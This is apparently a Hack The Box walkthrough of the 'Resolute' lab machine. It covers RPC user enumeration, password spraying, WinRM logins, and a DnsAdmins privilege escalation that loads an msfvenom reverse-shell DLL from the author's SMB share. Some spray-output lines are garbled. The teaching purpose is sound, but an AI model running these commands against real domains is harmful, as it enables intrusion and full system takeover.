HTB: Resolute
Resolute starts with a Windows RPC enumeration, we are going to get a password in the description of an user. Then we are going to connect over WinRM with evil-winrm.
Next up we are going to find the next user’s credentials in a PowerShell transcript file. This user is member of group DnsAdmins, which will allow us to get a reverse shell as SYSTEM with a malicious dll file.
Recon
⌗
Nmap⌗
With nmap we find a lot of opened ports:
❯ nmap -p- -sS --min-rate 5000 --open -v -n -Pn 10.129.74.219 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked up and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-13 16:00 -05
Initiating SYN Stealth Scan at 16:00
Scanning 10.129.74.219 [65535 ports]
Completed SYN Stealth Scan at 16:00, 14.72s elapsed (65535 total ports)
Nmap scan report for 10.129.74.219
Host is up (0.16s latency).
Not shown: 65511 closed tcp ports (reset)
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49668/tcp open unknown
49671/tcp open unknown
49676/tcp open unknown
49677/tcp open unknown
49686/tcp open unknown
49791/tcp open unknown
49810/tcp open unknown
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 14.93 seconds
Raw packets sent: 72095 (3.172MB) | Rcvd: 71717 (2.869MB)
With the parameter -oG we are exporting the result in grepable format, which is great to manage with regex and get all the ports without needing to type them one by one:
extractPorts () {
ports="$(cat $1 | grep -oP '\d{1,5}/open' | awk '{print $1}' FS='/' | xargs | tr ' ' ',')"
ip_address="$(cat $1 | grep initiated | awk 'NF{print $NF}')"
echo -e "\n[*] Extracting information...\n" > extractPorts.tmp
echo -e "\t[*] IP Address: $ip_address" >> extractPorts.tmp
echo -e "\t[*] Open ports: $ports\n" >> extractPorts.tmp
echo $ports | tr -d '\n' | xclip -sel clip
echo -e "[*] Ports copied to clipboard\n" >> extractPorts.tmp
/bin/batcat extractPorts.tmp
rm extractPorts.tmp
}
❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.129.74.219
[*] Open ports: 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49668,49671,49676,49677,49686,49791,49810
[*] Ports copied to clipboard
With parameters -sCV we will discover the service and version running behind each port:
❯ nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49668,49671,49676,49677,49686,49791,49810 10.129.74.219 -oN targeted
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-13 16:02 -05
Nmap scan report for 10.129.74.219
Host is up (0.16s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-07-13 21:09:51Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49676/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49677/tcp open msrpc Microsoft Windows RPC
49686/tcp open msrpc Microsoft Windows RPC
49791/tcp open unknown
49810/tcp open msrpc Microsoft Windows RPC
Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows
. . .
This amount of ports can be a little overwhelming but let’s start with RPC since a lot of ports are about this service.
With rpcclient we can try to list content:
❯ rpcclient -U "" 10.129.74.219 -N -c enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[ryan] rid:[0x451]
user:[marko] rid:[0x457]
user:[sunita] rid:[0x19c9]
user:[abigail] rid:[0x19ca]
user:[marcus] rid:[0x19cb]
user:[sally] rid:[0x19cc]
user:[fred] rid:[0x19cd]
user:[angela] rid:[0x19ce]
user:[felicia] rid:[0x19cf]
user:[gustavo] rid:[0x19d0]
user:[ulf] rid:[0x19d1]
user:[stevie] rid:[0x19d2]
user:[claire] rid:[0x19d3]
user:[paulo] rid:[0x19d4]
user:[steve] rid:[0x19d5]
user:[annette] rid:[0x19d6]
user:[annika] rid:[0x19d7]
user:[per] rid:[0x19d8]
user:[claude] rid:[0x19d9]
user:[melanie] rid:[0x2775]
user:[zach] rid:[0x2776]
user:[simon] rid:[0x2777]
user:[naoki] rid:[0x2778]
As we have no credentials with parameter -N we try to login with no password and it works, we get to list the domain users.
We can list information about any user with queryuser and the rdi:
rpcclient $> queryuser 0x1f4
User Name : Administrator
Full Name :
Home Drive :
Dir Drive :
Profile Path:
Logon Script:
Description : Built-in account for administering the computer/domain
Workstations:
Comment :
Remote Dial :
Logon Time : Wed, 13 Jul 2022 16:02:34 -05
Logoff Time : Wed, 31 Dec 1969 19:00:00 -05
Kickoff Time : Wed, 31 Dec 1969 19:00:00 -05
Password last set Time : Wed, 13 Jul 2022 16:15:10 -05
Password can change Time : Thu, 14 Jul 2022 16:15:10 -05
Password must change Time: Wed, 13 Sep 30828 21:48:05 -05
unknown_2[0..31]...
user_rid : 0x1f4
group_rid: 0x201
acb_info : 0x00000210
fields_present: 0x00ffffff
logon_divs: 168
bad_password_count: 0x00000000
logon_count: 0x00000059
padding1[0..7]...
logon_hrs[0..21]...
As you can see the user has a Description, this might have interesting informatoin about the user, we can get every user’s Description with querydispinfo:
rpcclient $> querydispinfo
index: 0x10b0 RID: 0x19ca acb: 0x00000010 Account: abigail Name: (null) Desc: (null)
index: 0xfbc RID: 0x1f4 acb: 0x00000210 Account: Administrator Name: (null) Desc: Built-in account for administering the computer/domain
index: 0x10b4 RID: 0x19ce acb: 0x00000010 Account: angela Name: (null) Desc: (null)
index: 0x10bc RID: 0x19d6 acb: 0x00000010 Account: annette Name: (null) Desc: (null)
index: 0x10bd RID: 0x19d7 acb: 0x00000010 Account: annika Name: (null) Desc: (null)
index: 0x10b9 RID: 0x19d3 acb: 0x00000010 Account: claire Name: (null) Desc: (null)
index: 0x10bf RID: 0x19d9 acb: 0x00000010 Account: claude Name: (null) Desc: (null)
index: 0xfbe RID: 0x1f7 acb: 0x00000215 Account: DefaultAccount Name: (null) Desc: A user account managed by the system.
index: 0x10b5 RID: 0x19cf acb: 0x00000010 Account: felicia Name: (null) Desc: (null)
index: 0x10b3 RID: 0x19cd acb: 0x00000010 Account: fred Name: (null) Desc: (null)
index: 0xfbd RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for guest access to the computer/domain
index: 0x10b6 RID: 0x19d0 acb: 0x00000010 Account: gustavo Name: (null) Desc: (null)
index: 0xff4 RID: 0x1f6 acb: 0x00000011 Account: krbtgt Name: (null) Desc: Key Distribution Center Service Account
index: 0x10b1 RID: 0x19cb acb: 0x00000010 Account: marcus Name: (null) Desc: (null)
index: 0x10a9 RID: 0x457 acb: 0x00000210 Account: marko Name: Marko Novak Desc: Account created. Password set to Welcome123!
index: 0x10c0 RID: 0x2775 acb: 0x00000010 Account: melanie Name: (null) Desc: (null)
index: 0x10c3 RID: 0x2778 acb: 0x00000010 Account: naoki Name: (null) Desc: (null)
index: 0x10ba RID: 0x19d4 acb: 0x00000010 Account: paulo Name: (null) Desc: (null)
index: 0x10be RID: 0x19d8 acb: 0x00000010 Account: per Name: (null) Desc: (null)
index: 0x10a3 RID: 0x451 acb: 0x00000210 Account: ryan Name: Ryan Bertrand Desc: (null)
index: 0x10b2 RID: 0x19cc acb: 0x00000010 Account: sally Name: (null) Desc: (null)
index: 0x10c2 RID: 0x2777 acb: 0x00000010 Account: simon Name: (null) Desc: (null)
index: 0x10bb RID: 0x19d5 acb: 0x00000010 Account: steve Name: (null) Desc: (null)
index: 0x10b8 RID: 0x19d2 acb: 0x00000010 Account: stevie Name: (null) Desc: (null)
index: 0x10af RID: 0x19c9 acb: 0x00000010 Account: sunita Name: (null) Desc: (null)
index: 0x10b7 RID: 0x19d1 acb: 0x00000010 Account: ulf Name: (null) Desc: (null)
index: 0x10c1 RID: 0x2776 acb: 0x00000010 Account: zach Name: (null) Desc: (null)
The description set for user marco has a password hardcoded: Welcome123!.
We can check if the is password correct with crackmapexec:
❯ crackmapexec smb 10.129.74.219 -u marco -p Welcome123!
SMB 10.129.74.219 445 RESOLUTE [*] Windows Server 2016 Standard 14393 x64 (name:RESOLUTE) (domain:megabank.local) (signing:True) (SMBv1:True)
SMB 10.129.74.219 445 RESOLUTE [-] megabank.local\marco:Welcome123! STATUS_LOGON_FAILURE
It’s not correct but maybe it is for another user, so we will create a user list and fuzz with crackmapexec:
❯ crackmapexec smb 10.129.74.219 -u users.txt -p Welcome123!
SMB 10.129.74.219 445 RESOLUTE [*] Windows Server 2016 Standard 14393 x64 (name:RESOLUTE) (domain:megabank.local) (signing:True) (SMBv1:True)
SMB 10.129.74.219 445 RESOLUTE [-] megabank.local\Administrator:Welcome123! STATUS_LOGON_FAILURE
SMB 10.129.74.219 445 RESOLUTE [-] megabank.local\Guest:Welcome123! STATUS_LOGON_FAILURE
SMB 10.129.74.219 445 RESOLUTE [-] megabank.local\krbtgt:Welcome123! STATUS_LOGON_FAILURE
SMB 10.129.74.219 445 RESOLUTE [-] megabank.local\DefaultAccount:Welcome123! STATUS_LOGON_FAILURE
yan:Welcome123! STATUS_LOGON_FAILURE SOLUTE [-] megabank.local
SMB 10.129.74.219 445 RESOLUTE [-] megabank.local\marko:Welcome123! STATUS_LOGON_FAILURE
SMB 10.129.74.219 445 RESOLUTE [-] megabank.local\sunita:Welcome123! STATUS_LOGON_FAILURE
SMB 10.129.74.219 445 RESOLUTE [-] megabank.localbigail:Welcome123! STATUS_LOGON_FAILURE
SMB 10.129.74.219 445 RESOLUTE [-] megabank.local\marcus:Welcome123! STATUS_LOGON_FAILURE
SMB 10.129.74.219 445 RESOLUTE [-] megabank.local\sally:Welcome123! STATUS_LOGON_FAILURE
SMB 10.129.74.219 445 RESOLUTE [-] megabank.local
red:Welcome123! STATUS_LOGON_FAILURE
SMB 10.129.74.219 445 RESOLUTE [-] megabank.localngela:Welcome123! STATUS_LOGON_FAILURE
SMB 10.129.74.219 445 RESOLUTE [-] megabank.local
elicia:Welcome123! STATUS_LOGON_FAILURE
SMB 10.129.74.219 445 RESOLUTE [-] megabank.local\gustavo:Welcome123! STATUS_LOGON_FAILURE
SMB 10.129.74.219 445 RESOLUTE [-] megabank.locallf:Welcome123! STATUS_LOGON_FAILURE
SMB 10.129.74.219 445 RESOLUTE [-] megabank.local\stevie:Welcome123! STATUS_LOGON_FAILURE
SMB 10.129.74.219 445 RESOLUTE [-] megabank.local
For user melanie the password is correct, we can connect through WinRM with evil-winrm:
❯ evil-winrm -i 10.129.74.219 -u melanie -p Welcome123!
Evil-WinRM shell v3.3
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\melanie\Documents>
Inside the Desktop we can find the user.txt:
*Evil-WinRM* PS C:\Users\melanie\Desktop> type user.txt
d394207d5c2f2434****************
Enumeration⌗
Now let’s move on and see what we have.
In C:\ there’s an unusual directory PSTranscripts:
*Evil-WinRM* PS C:\> dir -force
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d--hs- 12/3/2019 6:40 AM $RECYCLE.BIN
d--hsl 9/25/2019 10:17 AM Documents and Settings
d----- 9/25/2019 6:19 AM PerfLogs
d-r--- 9/25/2019 12:39 PM Program Files
d----- 11/20/2016 6:36 PM Program Files (x86)
d--h-- 9/25/2019 10:48 AM ProgramData
d--h-- 12/3/2019 6:32 AM PSTranscripts
d--hs- 9/25/2019 10:17 AM Recovery
d--hs- 9/25/2019 6:25 AM System Volume Information
d-r--- 12/4/2019 2:46 AM Users
d----- 12/4/2019 5:15 AM Windows
-arhs- 11/20/2016 5:59 PM 389408 bootmgr
-a-hs- 7/16/2016 6:10 AM 1 BOOTNXT
-a-hs- 7/13/2022 2:01 PM 402653184 pagefile.sys
A couple directories in we see a PowerShell Transcript:
*Evil-WinRM* PS C:\PSTranscripts\20191203> dir -force
Directory: C:\PSTranscripts\20191203
Mode LastWriteTime Length Name
---- ------------- ------ ----
-arh-- 12/3/2019 6:45 AM 3732 PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
Inside this text file we can find credentials of user ryan:
............
cmd : The syntax of this command is:
At line:1 char:1
+ cmd /c net use X: \fs0ackups ryan Serv3r4Admin4cc123!
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
............
We can also use this creds with evil-winrm:
❯ evil-winrm -i 10.129.74.219 -u 'ryan' -p 'Serv3r4Admin4cc123!'
Evil-WinRM shell v3.3
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\ryan\Documents>
Nice, but it doesn’t seem like we have progressed that much we are still just another user.
So let’s get information about ryan:
*Evil-WinRM* PS C:\Users\ryan\Documents> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============================================== ===============================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
MEGABANK\Contractors Group S-1-5-21-1392959593-3013219662-3596683436-1103 Mandatory group, Enabled by default, Enabled group
MEGABANK\DnsAdmins Alias S-1-5-21-1392959593-3013219662-3596683436-1101 Mandatory group, Enabled by default, Enabled group, Local Group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
We are part of DnsAdmins. This group gives us control over the DNS service.
Using dnscmd.exe we can abuse this file changing the dll configuration file of the DNS:
*Evil-WinRM* PS C:\Users\ryan\Documents> dnscmd.exe /config /serverlevelplugindll \\10.10.14.161\smbFolder\pwned.dll
Registry property serverlevelplugindll successfully reset.
Command completed successfully.
The dll that is going to be used is going to be hosted in a shared folder hosts by us.
First we have to create the malicious dll file with msfvenom:
❯ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.161 LPORT=334 -f dll -o pwned.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 8704 bytes
Saved as: pwned.dll
Now let’s share it through smb using smbserver.py:
❯ smbserver.py smbFolder $(pwd) -smb2support
Impacket v0.10.1.dev1+20220504.120002.d5097759 - Copyright 2022 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
Also set the listener and finally restart the DNS service with sc.exe:
*Evil-WinRM* PS C:\Users\ryan\Documents> sc.exe stop dns
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 3 STOP_PENDING
(STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
*Evil-WinRM* PS C:\Users\ryan\Documents> sc.exe start dns
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0
PID : 2296
FLAGS :
You might have to do this several times before it works but eventually we will get the connection in the netcat:
❯ nc -lvnp 334
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::334
Ncat: Listening on 0.0.0.0:334
Ncat: Connection from 10.129.74.219.
Ncat: Connection from 10.129.74.219:50710.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
Perfect, we have a shell as SYSTEM, now we can see the root.txt:
C:\Users\Administrator\Desktop>type root.txt
type root.txt
969fb58ae84b8a******************
See you next time!